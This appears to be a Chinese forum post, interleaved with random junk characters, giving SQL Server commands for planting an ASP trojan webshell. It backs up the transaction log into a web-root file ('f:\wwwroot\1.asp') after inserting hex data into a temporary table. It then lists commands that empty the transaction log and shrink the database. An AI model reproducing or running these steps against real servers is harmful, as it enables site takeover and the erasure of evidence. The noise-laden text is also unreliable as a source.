select * from master.dbo.sysdatabases 列出所有列的记录
9 _3 }+ F% A$ @ 4 b- l' z. O, C0 C) r. g
select name from master.dbo.sysdatabases 仅列出name列的记录+ k$ K4 R, j( } c
; D6 a: y6 d$ t9 ?- a
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
1 K8 a1 v3 n& s+ m; f }: N( B& n$ Z, M; n9 D' \1 R+ G; k
alter database 数据库名 set RECOVERY FULL--
* ~, s) {0 a4 n1 M. m; l) k3 E# R' b, e0 I; m0 h1 X2 w3 }
create table cmd (a image)-- \**cmd是创建的临时表
; F" L- x0 r5 T& @0 C9 @$ G6 c
; u/ `, T! P: g. R# Fbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--! c7 Y3 q% t2 K; _
2 P" K) k. E$ S! J* q h! O1 X6 ^
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--" p# k ^; }1 \: ]7 X' G8 C2 d4 g) ^
, V1 n% k5 T J$ r8 R$ O//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)3 ^' m- F6 ^5 r% S6 @
* z7 R% |% m' F+ M6 }0 T* X5 J Gbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)! i3 ]% K* o8 s( G6 P
7 K" r; s5 W8 C
drop table cmd--0 }; [6 s( o) z1 C! V0 x
7 @/ z+ @9 n5 e
9 c! l) ~- p; ~5 l
f:\8 ^5 h- @, J, [+ E! i
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)) v& v, O& i; J4 Y( a# [* x; Y
% Q/ [ \9 Q) g9 t# y* Y% g最好多加几个回车0d0a,要不会出错哈
) x- |4 O; F3 z5 k5 W" l' R$ v) p1 C; L' M3 S6 t& m
: z5 G& |; e. J1 S
SQL Server日志清空方法
% W7 r J+ X6 ?: F8 @! X: S6 W% Q' a, o( s2 [' c( s, Q
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
, i! I0 u; c! Z! v1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG & }: z- K5 j* `" x' h4 `
" h! a$ F, f; q6 Z3 ^
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
6 Q3 S2 A% E6 r
; G, G. @ Z1 Y m% x$ `3.收缩数据库:DBCC SHRINKDATABASE(databasename) 9 e- v' W" V* [3 Z
|